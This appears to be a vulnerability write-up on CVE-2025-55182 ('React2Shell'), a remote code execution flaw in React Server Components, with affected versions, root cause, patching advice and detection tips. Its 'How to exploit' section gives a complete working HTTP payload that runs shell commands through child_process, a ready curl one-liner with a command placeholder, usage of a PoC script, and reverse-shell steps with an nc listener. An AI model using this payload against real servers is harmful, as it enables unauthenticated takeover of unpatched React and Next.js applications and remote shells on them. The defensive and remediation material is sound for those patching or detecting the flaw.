🚨 CVE-2025-55182 — React2Shell

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CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC).

📌 Overview

This vulnerability allows unauthenticated attackers to execute arbitrary code on vulnerable servers.

The issue originates from unsafe deserialization in React Server Component Server Function endpoints. Improper validation allows specially crafted requests to execute malicious payloads.

🧨 Impact

🌍 Network exploitable
🔓 No authentication required
⚡ Low attack complexity
💥 Full server compromise possible
📈 CVSS Score: 10.0 (Maximum Severity)

Because React-based frameworks are widely deployed, the attack surface is extremely large.

📦 Affected Packages

Vulnerable versions include:

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Frameworks built on top of these packages (e.g., Next.js apps using vulnerable versions) may also be affected.

🔎 Technical Root Cause

The flaw is caused by:

Insecure handling of serialized input
Server-side deserialization occurring before strict validation
Lack of adequate endpoint protection

This enables attackers to craft malicious payloads that execute on the server.

🛠 Remediation

✅ Immediate Actions

Upgrade to patched React versions (19.2.1 or later)
Rebuild and redeploy applications
Audit exposed RSC endpoints
Monitor logs for suspicious POST requests

🧪 Detection Tips

Look for:

Unexpected POST requests to RSC endpoints
Suspicious serialized payloads
Unusual server-side command execution

📚 Summary

Category	Value
Vulnerability	Remote Code Execution
Authentication Required	❌ No
Attack Vector	🌐 Network

How to exploit

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Will return:

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

Usage

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}

sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"

Output: ubuntu (or similar).

sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

For reverse shell:

Listener: nc -lvnp 4444
Run: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
It should connect back; the response will show 'shell_started' in digest.

⚠️ Final Note

If your application uses React Server Components, patch immediately. Delays increase exposure risk significantly.

CVE-2025-55182

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